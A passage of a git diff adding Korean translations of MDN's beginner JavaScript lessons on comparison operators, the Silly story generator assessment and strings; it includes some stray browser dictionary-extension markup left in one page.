+   <td><code>5 &gt;= 4</code></td>
+  </tr>
+ </thead>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: You may see some people using <code>==</code> and <code>!=</code> in their tests for equality and non-equality. These are valid operators in JavaScript, but they differ from <code>===</code>/<code>!==</code>. The former versions test whether the values are the same but not whether the values' datatypes are the same. The latter, strict versions test the equality of both the values and their datatypes. The strict versions tend to result in fewer errors, so we recommend you use them.</p>
+</div>
+
+<p>If you try entering some of these values in a console, you'll see that they all return <code>true</code>/<code>false</code> values — those booleans we mentioned in the last article. These are very useful, as they allow us to make decisions in our code, and they are used every time we want to make a choice of some kind. For example, booleans can be used to:</p>
+
+<ul>
+ <li>Display the correct text label on a button depending on whether a feature is turned on or off</li>
+ <li>Display a game over message if a game is over or a victory message if the game has been won</li>
+ <li>Display the correct seasonal greeting depending what holiday season it is</li>
+ <li>Zoom a map in or out depending on what zoom level is selected</li>
+</ul>
+
+<p>We'll look at how to code such logic when we look at conditional statements in a future article. For now, let's look at a quick example:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Start machine&lt;/button&gt;
+&lt;p&gt;The machine is stopped.&lt;/p&gt;
+</pre>
+
+<pre class="brush: js notranslate">var btn = document.querySelector('button');
+var txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+  if (btn.textContent === 'Start machine') {
+    btn.textContent = 'Stop machine';
+    txt.textContent = 'The machine has started!';
+  } else {
+    btn.textContent = 'Start machine';
+    txt.textContent = 'The machine is stopped.';
+  }
+}</pre>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/conditional.html", '100%', 100)}}</p>
+
+<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html">Open in new window</a></strong></p>
+
+<p>You can see the equality operator being used just inside the <code>updateBtn()</code> function. In this case, we are not testing if two mathemetical expressions have the same value — we are testing whether the text content of a button contains a certain string — but it is still the same principle at work. If the button is currently saying "Start machine" when it is pressed, we change its label to  "Stop machine", and update the label as appropriate. If the button is currently saying "Stop machine" when it is pressed, we swap the display back again.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Such a control that swaps between two states is generally referred to as a <strong>toggle</strong>. It toggles between one state and another — light on, light off, etc.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>In this article we have covered the fundamental information you need to know about numbers in JavaScript, for now. You'll see numbers used again and again, all the way through your JavaScript learning, so it's a good idea to get this out of the way now. If you are one of those people that doesn't enjoy math, you can take comfort in the fact that this chapter was pretty short.</p>
+
+<p>In the next article, we'll explore text and how JavaScript allows us to manipulate it.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you do enjoy math and want to read more about how it is implemented in JavaScript, you can find a lot more detail in MDN's main JavaScript section. Great places to start are our <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates">Numbers and dates</a> and <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a> articles.</p>
+</div>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/first_steps/silly_story_generator/index.html b/files/ko/learn/javascript/first_steps/silly_story_generator/index.html
new file mode 100644
index 0000000000..a6f2318602
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/silly_story_generator/index.html
@@ -0,0 +1,192 @@
+---
+title: Silly story generator
+slug: Learn/JavaScript/First_steps/Silly_story_generator
+translation_of: Learn/JavaScript/First_steps/Silly_story_generator
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">이 모듈에서 배운 지식들을 바탕으로 랜덤하게 꾸며진 이야기(silly stories)가 만들어지는 재미있는 앱을 만들어 볼거에요. 즐겨봅시다!!</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행요소:</th>
+   <td>이 평가에 시도하기 전에 이 모듈에서 배운 항목을 모두 수행해봐야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>변수, 숫자, 연산자, 문자열 및 배열 같은 자바스크립트의 기본항목들에 대한 전반적인 이해를 테스트합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="시작하기">시작하기</h2>
+
+<p>이 평가하기(assements)를 시작하기 전에, 아래와 같은 것을 해야 합니다:</p>
+
+<ul>
+ <li>HTML 예제 파일이 있는 사이트(<a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/index.html">grab the HTML file</a>)로 이동하여 파일을 복사하여 자기 컴퓨터에 새 디렉토리를 만들고 파일이름 <code>index.html</code> 로 저장합니다. 이 안에는 예제를 위한 CSS가 포함되어 있습니다.</li>
+ <li>또 다른 가공 전의 텍스트가 있는 사이트 (<a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt">page containing the raw text</a>) 로 가서 별도의 브라우저 탭으로 열어 놓으세요. 이것은 나중에 필요합니다.</li>
+</ul>
+
+<p>위 방법 대신에, 여러분은 테스트에 <a href="http://jsbin.com/">JSBin</a> 또는 <a href="https://glitch.com/">Glitch</a> 같은 사이트를 이용할 수 있습니다. 이 온라인 에디터들 내부에 HTML, CSS 그리고 JavaScript를 붙여넣을 수 있습니다. 만약 당신이 사용하는 온라인 에디터가 Javascript 패널(또는 탭)을 갖고 있지 않다면, 자유롭게 HTML 페이지 내부에 <code>&lt;script&gt;</code> 엘리멘트를 넣을 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 만약 평가가 막힌다면, 우리에게 도움을 요청하세요— 이 페이지 밑에 {{anch("Assessment or further help")}} 섹션을 보세요.</p>
+</div>
+
+<h2 id="프로젝트에_대한_간략한_설명">프로젝트에 대한 간략한 설명</h2>
+
+<p>이제 프로젝트 시작을 위해 가공하지 않은 HTML/CSS 그리고 몇몇 텍스트를  만들고 확인했습니다. 이제 아래와 같은 기능을 하는 프로그램을 만들기 위해 JavaScript를 코딩해야 합니다.</p>
+
+<ul>
+ <li>"랜덤한 이야기 만들기('Generate random story') 버튼를 누를 때 마다 꾸며진 이야기(silly stories)를 만들어야 합니다.</li>
+ <li>"Enter custome name" 필드에 값이 입력되어있지 않을 경우 기본 이름을 Bob으로 지정합니다. "랜덤한 이야기 만들기('Generate random story')" 버튼을 클릭 하면 아래 사진에서 "Chris saw the ~.." 로 시작하는 문장이 "Bob saw the ~.."로 표시되게 합니다.</li>
+ <li>"랜덤한 이야기 만들기('Generate random story')" 을 클릭하면 프로그램이 "US", "UK" 라디오 체크버튼을 확인하여 각 국가에 맞는 온도, 수량, 무게 등 단위를 설정하세요. 아래 사진의 예를 들면 "~ weights 300 pounds, and ~" 부분이 해당됩니다.</li>
+ <li>"랜덤한 이야기 만들기('Generate random story')" 을 누르면 꾸며진 이야기('silly stories')가 랜덤하게 계속 만들어지게 하세요.</li>
+</ul>
+
+<p>이 스크린샷은 프로그램 출력의 예시 입니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13667/assessment-1.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>더 많은 아이디어를 얻으려면, 완성된 예(<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/assessment-finished/">have a look at the finished example</a> )를 참고하세요(소스코드는 엿보기 없기!)</p>
+
+<h2 id="완료하기">완료하기</h2>
+
+<p>이번 섹션에선 프로젝트를 어떻게 진행해야 하는지 자세하게 설명합니다.</p>
+
+<p>기본 설정:</p>
+
+<ol>
+ <li><code>index.html</code> <font face="Open Sans">파</font>일과 같은 디렉토리에 <code>main.js</code> 라는 이름의 파일을 새로 만듭니다.</li>
+ <li>HTML 파일(<code>index.html</code>)에 <a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element/script">&lt;script&gt;</a> 엘리먼트를 삽입하여 <code>main.js</code> 를 참조하도록 외부 자바스크립트 파일(<code>main.js</code>)을 적용합니다. <code>&lt;/body&gt;</code> 태그 바로 앞에 배치하세요.</li>
+</ol>
+
+<p>초기 변수와 함수:</p>
+
+<ol>
+ <li>
+  <p>가공 전의 텍스트 파일에서, "1. COMPLETE VARIABLE AND FUNCTION DEFINITIONS" 바로 밑의 코드를 모두 복사해서 <code>main.js</code> 파일의 맨 위에 붙여넣습니다. 이 내용은 세 개의 변수 제공하는데, <code>customName</code> 변수는 "Enter custom name" 텍스트 필드 값을 저장하고, <code>randomize</code> 변수에는 "Generate random story" 버튼 오브젝트를 저장하고, HTML 바디에 끝에 있는 클래스가 <code>story</code>인 <a href="https://developer.mozilla.org/ko/docs/Web/HTML/Element/p">&lt;p&gt;</a> 엘리먼트는 story 변수에 저장하며 해당 엘리먼트에는 랜덤한 이야기가 복사됩니다. 또한, randomValueFromArray() 함수는 배열을 가져와서 배열이 가진 항목 중 하나를 랜덤하게 반환합니다.</p>
+ </li>
+ <li>
+  <p>가공전 텍스트 파일의 두번째 섹션 "2. RAW TEXT STRINGS"에는 프로그램에 자동으로 입력되어 랜덤 이야기 엘리먼트에 출력하는 문자열이 포함되어 있습니다.  <code>main.js</code> 에 아래 설명대로 변수를 만듭니다:</p>
+
+  <ol>
+   <li>먼저 <code>storyText</code>변수에 가장 긴 문자열("It was 94 fahrenheit outside, so ~~" 로 시작하는 문장)을 저장합니다.</li>
+   <li><code>insertX</code> 배열에 세 개의 문자열 집단의 첫번째(Willy the Goblin, Big Daddy, Father Christmas)를 저장합니다.</li>
+   <li><code>insertY</code> 배열에 세 개의 문자열 집단의 두번째(the soup kitchen, Disneyland, the White House)을 저장합니다.</li>
+   <li><code>insertZ</code> 배열에 세 개의 문자열 집단의 세번째(spontaneously combusted, melted into a puddle on the sidewalk, turned into a slug and crawled away)를 저장합니다.</li>
+  </ol>
+ </li>
+</ol>
+
+<p>이벤트 핸들러와 완성되지 않은 함수 정리:</p>
+
+<ol>
+ <li>가공전 텍스트 파일("raw text file")로 돌아가자.</li>
+ <li>"3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" 밑의 코드를 복사하고, <code>main.js</code> 파일의 맨 밑에다 붙여 넣으세요:
+  <ul>
+   <li><code>randomize</code> 변수에 클릭 이벤트 리스너를 추가하세요. 그러면 버튼이 클릭되었을 때, <code>result()</code> 함수가 실행됩니다.</li>
+   <li>코드에 부분적으로 완료된 <code>result()</code> 함수를 추가하세요. 이 평가의 뒤 부분에서 함수가 완성되고 정상적으로 동작하도록 내용을 추가할 것입니다.</li>
+  </ul>
+ </li>
+</ol>
+
+<p><code>result()</code> 함수 완성하기:  </p>
+
+<ol>
+ <li><code>newStory</code>라 불리는 새 변수를 만들고, 이것의 값(value)를 <code>storyText</code> 와 똑같이 설정하세요. 이것은 버튼을 누르고 함수가 수행(run)될 때 마다 새 이야기('story')가 랜덤하게 만들어 질 수 있게 합니다. <code>storyText</code>를 직접 변경했다면, 새로운 이야기('story')를 한번만 만들 수 있습니다(함수를 통해서 하지 않으면 정적인 값만 유지한다는 의미).</li>
+ <li>세 개의 새로운  변수  <code>xItem</code>, <code>yItem</code>, 와 <code>zItem</code>를 만들고 이 세 개의 변수는 <code>randomValueFromArray()</code> 를 반환 결과인 세개의 배열과 같도록 만듭니다(각 경우의 호출 결과는 각 배열에 임의의 아이템). 예를 들어 <code>randomValueFromArray(insertX) </code>함수를 호출하면 <code>insertX</code> 에서 문자열의 하나를 랜덤하게 가질 수 있다.</li>
+ <li>그 다음으로  <code>newStory</code> 문자열에 있는 세 개의 placeholders— <code>:insertx:</code>, <code>:inserty:<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">, </span></font></code><code>:insertz:</code> —저장된 <code>xItem</code>, <code>yItem </code>와 <code>zItem</code> 문자열을 이용하여 로 변환하세요. 여기서 특정 문자열 함수가 도움될 것입니다. 이 함수는 각 경우에 <code>newStory</code>와 같게되며(대입), 호출 시 마다 <code>newStory</code> 의 원래 값과 동일하지만 대체 될 수 있습니다(랜덤으로 값이 변경되는 것을 표현하는 것으로 추정됨) 그러므로 버튼이 눌러질때마다, 이  placeholder는 꾸며진('silly') 문자열로 랜덤하게 교체되게 됩니다. 추가적인 힌트로, 이 문제의 함수는 하위 문자열에서 찾아진 첫번째 인스턴스만 변경되므로, 아마도 두번 이상 이 함수를 호출해야 할 수도 있습니다.</li>
+ <li>첫번째 <code>if</code> 블록에서, <code>newStory</code> 의 'Bob'이라는 이름을 <code>name</code> 변수를 사용하여 변환하는 함수를 추가하세요. 이 블록에서 말하는 내용은 "만약 <code>customName</code> 텍스트 입력에 값이 들어가 있다면, 이야기속의 Bob을 사용자가 정의한 이름으로 바꾸세요" 라는 의미입니다.</li>
+ <li>두번째  <code>if</code> 블록에서는 <code>uk</code> 라디오 버튼이 선택되었는지 확인합시다. <code>uk</code> 라디오 버튼이 눌려졌다면, 이야기('story') 상의 무게('weight')와 온도('temperature') 값 들인  파운드('pounds')와 화씨온도(Fahrenheit) 를 'stones'과 섭씨온도('centigrade')를 바꾸어야 합니다. 필요한 것은 아래와 같습니다:
+  <ol>
+   <li>파운드(pound)를  stone, 화씨온도(Fahrenheit) 를 섭씨온도(centigrade)로 변환하는 공식을 참조하라.</li>
+   <li> <code>weight</code> 변수를 정의하는 라인에서는, 300를 300 파운드를 stones 변환하라. 변환 결과값을 <code>Math.round()</code> 를 실행한 결과값 끝에 <code>' stone'</code> 을 결합한다(문자열 더하기 연산 또는 concat())</li>
+   <li> <code>temperature</code> 변수를 정의하는 라인에서는, 94를  화씨(Fahrenheit) 94도를 섭씨온도(centigrade)로 변환하라. 변환 결과값을 <code>Math.round()</code> 를 실행한 결과값 끝에 <code>' centigrade'</code>을 결합한다(문자열 더하기 연산 또는 concat())</li>
+   <li>두 변수 정의 바로 밑에, '94 화씨온도('farenheit')로  <code>temperature</code> 변수의 내용을 변환하는 것과,  '300 pounds'을 <code>weight</code> 변수의 내용을 바꾸는 두줄의 문자열 변환라인을 추가한다 .</li>
+  </ol>
+ </li>
+ <li>마지막으로, 함수의 끝 두 줄에 <code>story</code> 변수의 <code>textContent</code> 속성(property)을 <code>newStory</code>와 같게 만드세요.</li>
+</ol>
+
+<h2 id="힌트와_팁">힌트와 팁</h2>
+
+<ul>
+ <li>JavaScript 내용 외에는 HTML을 수정할 필요가 없습니다.</li>
+ <li>만약 JavaScript가 정상적으로 HTML에 적용되었는지 의심스럽다면, 일시적으로 JavaScript의 내용을 지우고, 단순하고 짧은 효과가 명확한 내용을 추가해서, 저장하고 새로고침을 해보세요. 아래 예제는 {{htmlelement("html")}} 의 배경을 빨강색으로 바꿉니다 — 정상적으로 JavaScript가 적용되었다면 브라우저 전체 윈도우가 빨강색으로 바뀌게 될겁니다:
+  <pre class="brush: js notranslate">document.querySelector('html').style.backgroundColor = 'red';</pre>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round">Math.round()</a> 는 가장 가까운 정수로 단순하게 반올림한 결과를 반환하는 JavaScript 내장함수 입니다. </li>
+ <li>변환이 필요한 세 개의 문장이 문제 있습니다. 아마도 <code>replace()</code> 함수를 반복적으로 실행 하거나 정규 표현식을 사용할 수 있습니다. 예를 들어 <code>var text = 'I am the biggest lover, I love my love'; text.replace(/love/g,'like');</code> 를 실행하면 인스턴스의 'love' 는 'like' 로 모두 바뀌게 될겁니다. 기억하세요, 문자열은 변하지 않습니다!(문자열은 새 변경할 수 없으며, 새 문자열이 생성되고 그 생성된 결과를 인스턴스가 갖게됨을 표현한 것으로 추정)</li>
+</ul>
+
+<h2 id="평가_또는_추가_도움">평가 또는 추가 도움</h2>
+
+<p>만약 작업을 평가하길 원하거나 풀이가 막혀서 도움을 원하면:</p>
+
+<ol>
+ <li>온라인 공유가 가능한 <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, 또는 <a href="https://glitch.com/">Glitch</a> 같은 에디터에 작업한 것을 올려 두세요.</li>
+ <li>평가 또는 도움을 요청을 <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a> 에 포스트를 쓰세요. 당신의 글은 아래를 포함해야 합니다:
+  <ul>
+   <li>"Assessment wanted for Silly story generator"와 같은 서술적인 제목.</li>
+   <li>이미 시도해본 것에 대한 상세내용과 우리가 어떻게 하길 원하는 지.<br>
+    예. 만약 당신이 풀이가 막히고 도움이 필요하다거나, 평가를 원한다는 것을.</li>
+   <li>평가를 받고 싶거나 도움이 필요한 예제를 갖고 있는 공유가능한 온라인 에디터 링크. (위에 1단계에서 언급한 것). 이것은 좋은 습관입니다. 그들의 코드를 보지못한다면 도움을 주기는 굉장히 어렵습니다.</li>
+   <li>실제 작업 또는 평가 페이지 링크, 그래야 우리가 당신이 도움받길 원하는 것을 찾을 수 있어요.</li>
+  </ul>
+ </li>
+</ol>
+
+<p>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="이_모듈에서">이 모듈에서</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li>
+</ul>
+
+<div id="dicLayer" style="">
+<div id="dicLayerContents">&lt;dicword style="user-select: text;"&gt;What is JavaScript?&lt;/dicword&gt;&lt;dicword style="user-select: text;"&gt;&lt;dicimg id="play" style="background-image: url(chrome-extension://bmbdcffdhebhecemcchbkfnjlmdiiepe/play.gif);"&gt;&lt;/dicimg&gt; <input>Eng&lt;dicimg id="copy" style="background-image: url(chrome-extension://bmbdcffdhebhecemcchbkfnjlmdiiepe/copy.png);" title="copy"&gt;&lt;/dicimg&gt;&lt;/dicword&gt;<br>
+<br>
+<br>
+<br>
+자바 스크립트 란?</div>
+
+<div id="dicLayerSub"></div>
+</div>
+
+<div id="dicRawData" style="display: none;">{"mean":["what&lt;br/&gt;&lt;br/&gt;[대명사, 한정사]\n\t\t \t\t(의문문에서) 무엇; 몇; 어떤, 무슨\n\n\t\t 참조 which","be&lt;br/&gt;&lt;br/&gt;[동사]\n\t\t there is/are\n\t\t \t\t있다, 존재하다","script&lt;br/&gt;&lt;br/&gt;[명사]\n\t\t \t\t(연극영화방송강연 등의) 대본[원고]","is&lt;br/&gt;&lt;br/&gt;참조 be","Java Script&lt;br/&gt;&lt;br/&gt;(컴퓨터)\n\t\t \t\t자바 스크립트 ((미국 넷스케이프 커뮤니케이션스가 개발한 스크립트 언어))","TypeScript&lt;br/&gt;&lt;br/&gt;[Proper noun] labelenscripting language A scripting programming language that is a strict superset of JavaScript and used to implement interactive features of Web pages."],"word":"What is JavaScript","soundUrl":"https://dict-dn.pstatic.net/v?_lsu_sa_=39682b535d673a26a89ab1563094c4fead4462b51a0a6f796ee2097e5bbb6bb1195cb75069a5ad7d792362a5c22ac0e7677a456c5837d53ff458f869cb3070278c86c07296cca27ab57925fedb326fd11c977e7d7a242a0e57b9d7f96c3e974376013120f37159780b34a104ca6074c614d78e8a098ad60cfcbe8ec73ef6b8cb","phoneticSymbol":""}</div>
+
+<div id="dicLayerLoader" style="top: 5596px; left: 281px;"></div>
+
+<div id="dicLayer">
+<div id="dicLayerContents"></div>
+
+<div id="dicLayerSub"></div>
+</div>
+
+<div id="dicRawData" style="display: none;"></div>
+
+<div id="dicLayerLoader"></div>
+
+<div id="dicLayer">
+<div id="dicLayerContents"></div>
+
+<div id="dicLayerSub"></div>
+</div>
+
+<div id="dicRawData" style="display: none;"></div>
+
+<div id="dicLayerLoader"></div>
diff --git a/files/ko/learn/javascript/first_steps/strings/index.html b/files/ko/learn/javascript/first_steps/strings/index.html
new file mode 100644
index 0000000000..0e24be92a8
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/strings/index.html
@@ -0,0 +1,294 @@
+---
+title: 문자열 다루기 —  문자열
+slug: Learn/JavaScript/First_steps/Strings
+tags:
+  - 가이드
+  - 강좌
+  - 따옴표
+  - 문자열
+  - 자바스크립트
+  - 초보자
+  - 코딩
+translation_of: Learn/JavaScript/First_steps/Strings
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">다음으로, 프로그래밍에서 어떤 텍스트가 호출되는지 문자열에 대해 알아볼까요? 이 게시물에서는 문자열 작성, 문자열의 따옴표 이스케이프 및 문자열 결합과 같이 JavaScript를 배울 때 문자열에 대해 알아야 할 모든 일반적인 사항을 살펴보겠습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결요건:</th>
+   <td>기본 컴퓨터 활용능력, HTML 및 CSS에 대한 기본적인 이해, JavaScript에 대한 기초적인 이해.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>JavaScript에서 문자열의 기초에 대해 익숙해지기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="단어의_힘">단어의 힘</h2>
+
+<p>단어는 인간이 커뮤니케이션 함에 있어 커다란 하나의 부분이라고 할 수 있기에 매우 중요합니다. 웹은 사람들이 정보를 교환하고 공유할 수 있도록 설계된 텍스트 기반의 매체이므로, 웹에 표시되는 단어를 제어하는 것이 유용합니다. {{glossary ( "HTML")}}은 텍스트에 구조와 의미를 제공하며, {{glossary ( "CSS")}}는 텍스트에 스타일(일종의 디자인)을 적용할 수 있게 해주며, JavaScript는 문자열을 조작하기 위한 여러 가지 기능 (텍스트 레이블을 표시하고 용어를 원하는 순서로 정렬하는) 등 다양한 작업을 수행할 수 있습니다.</p>
+
+
+
+<p>지금까지 우리가 여러분에게 보여 줬던 거의 모든 프로그램은 문자열 조작과 관련이 있습니다.</p>
+
+<h2 id="문자열_—_기초">문자열 — 기초</h2>
+
+<p>문자열은 숫자와 유사하게 다루어지지만, 더 깊게 파고들면 눈에 띄는 차이점을 발견하기 시작할 것입니다. 먼저 몇 가지 기본 라인을 콘솔에 입력하여 우리와 친숙하게 만드는 것으로 시작하겠습니다. <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">이 링크</a>를 통해 다른 탭이나 창에서 열 수 있고, <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">브라우저 개발자 도구</a>를 사용할 수도 있습니다).</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;JavaScript console&lt;/title&gt;
+    &lt;style&gt;
+      * {
+        box-sizing: border-box;
+      }
+
+      html {
+        background-color: #0C323D;
+        color: #809089;
+        font-family: monospace;
+      }
+
+      body {
+        max-width: 700px;
+      }
+
+      p {
+        margin: 0;
+        width: 1%;
+        padding: 0 1%;
+        font-size: 16px;
+        line-height: 1.5;
+        float: left;
+      }
+
+      .input p {
+        margin-right: 1%;
+      }
+
+      .output p {
+        width: 100%;
+      }
+
+      .input input {
+        width: 96%;
+        float: left;
+        border: none;
+        font-size: 16px;
+        line-height: 1.5;
+        font-family: monospace;
+        padding: 0;
+        background: #0C323D;
+        color: #809089;
+      }
+
+      div {
+        clear: both;
+      }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+
+  &lt;/body&gt;
+
+  &lt;script&gt;
+    var geval = eval;
+    function createInput() {
+      var inputDiv = document.createElement('div');
+      var inputPara = document.createElement('p');
+      var inputForm = document.createElement('input');
+
+      inputDiv.setAttribute('class','input');
+      inputPara.textContent = '&gt;';
+      inputDiv.appendChild(inputPara);
+      inputDiv.appendChild(inputForm);
+      document.body.appendChild(inputDiv);
+
+      if(document.querySelectorAll('div').length &gt; 1) {
+        inputForm.focus();
+      }
+
+      inputForm.addEventListener('change', executeCode);
+    }
+
+    function executeCode(e) {
+      try {
+        var result = geval(e.target.value);
+      } catch(e) {
+        var result = 'error — ' + e.message;
+      }
+
+      var outputDiv = document.createElement('div');
+      var outputPara = document.createElement('p');
+
+      outputDiv.setAttribute('class','output');
+      outputPara.textContent = 'Result: ' + result;
+      outputDiv.appendChild(outputPara);
+      document.body.appendChild(outputDiv);
+
+      e.target.disabled = true;
+      e.target.parentNode.style.opacity = '0.5';
+
+      createInput()
+    }
+
+    createInput();
+
+  &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="문자열_만들기">문자열 만들기</h3>
+
+<ol>
+ <li>먼저 아래의 명령어를 입력하세요.
+  <pre class="brush: js">var string = 'The revolution will not be televised.';
+string;</pre>
+  숫자에서 했던 것과 같게, 우리는 변수를 선언하고, 문자열을 초기화 하고, 값을 반환합니다. 차이점은 오직 숫자 대신 문자열을 넣었고, 문자열 값을 따옴표로 감싸주었습니다.</li>
+ <li>따옴표를 빼거나 잘못쓰면 에러가 뜰 것입니다. 아래의 코드를 입력해 보세요.
+  <pre class="brush: js example-bad">var badString = This is a test;
+var badString = 'This is a test;
+var badString = This is a test';</pre>
+  따옴표로 감싸져 있지 않은 텍스트는 변수 이름, 속성 이름, 예약어와 유사하다고 가정하기 때문에 이러한 코드는 작동하지 않습니다. 만약 브라우저가 찾을 수 없다면 에러가 발생할 것입니다. (e.g. "missing ; before statement"). 만약 브라우저가 문자열이 시작하는 곳은 볼 수 있지만, 끝나는 곳을 찾지 못하면 에러를 던집니다.("unterminated string literal"). 만약 당신의 프로그램이 에러를 계속 만들어낸다면, 다시 돌아가 당신의 문자열에 빠진 따옴표가 없는지 찾아보십시오.</li>
+ <li>다음의 코드는 당신이 변수 <code>string</code> 을 선언했다면 작동할 것입니다. 아래의 코드를 입력해보세요 :
+  <pre class="brush: js">var badString = string;
+badString;</pre>
+  <code>badString</code> 은 이제 <code>string</code> 과 같은 값으로 설정되었습니다.</li>
+</ol>
+
+<h3 id="따옴표_vs_쌍따옴표">따옴표 vs 쌍따옴표</h3>
+
+<ol>
+ <li>자바스크립트에서는 따옴표와 쌍따옴표가 모두 허용됩니다. 다음의 코드는 문제 없이 작동할 것입니다.
+  <pre class="brush: js">var sgl = 'Single quotes.';
+var dbl = "Double quotes";
+sgl;
+dbl;</pre>
+ </li>
+ <li>따옴표와 쌍따옴표는 차이점이 거의 없어, 편한대로 사용할 수 있습니다. 하지만 당신은 문자열을 감싸는데 한 종류의 따옴표만 사용해야 되며 그렇지 않으면 에러가 발생합니다. 아래의 코드를 실행해 보세요.
+  <pre class="brush: js example-bad">var badQuotes = 'What on earth?";</pre>
+ </li>
+ <li>브라우저는 다른종류의 따옴표가 감싸고 있어 문자열이 아직 끝나지 않았다고 생각합니다.  예를 들어, 아래 두 가지 모두 괜찮습니다.
+  <pre class="brush: js">var sglDbl = 'Would you eat a "fish supper"?';
+var dblSgl = "I'm feeling blue.";
+sglDbl;
+dblSgl;</pre>
+ </li>
+ <li>하지만, 당신은 같은 종류의 따옴표를 문자열에 포함시킬 수 없습니다. 브라우저는 어느 따옴표가 문자열이 끝났다는 것을 알리는지 혼돈하게 됩니다. 따라서 다음의 코드는 에러가 발생합니다.
+  <pre class="brush: js example-bad">var bigmouth = 'I've got no right to take my place...';</pre>
+  이는 우리를 다음 문단으로 이끌어 줍니다.</li>
+</ol>
+
+<h3 id="문자열_이스케이프_문자">문자열 이스케이프 문자</h3>
+
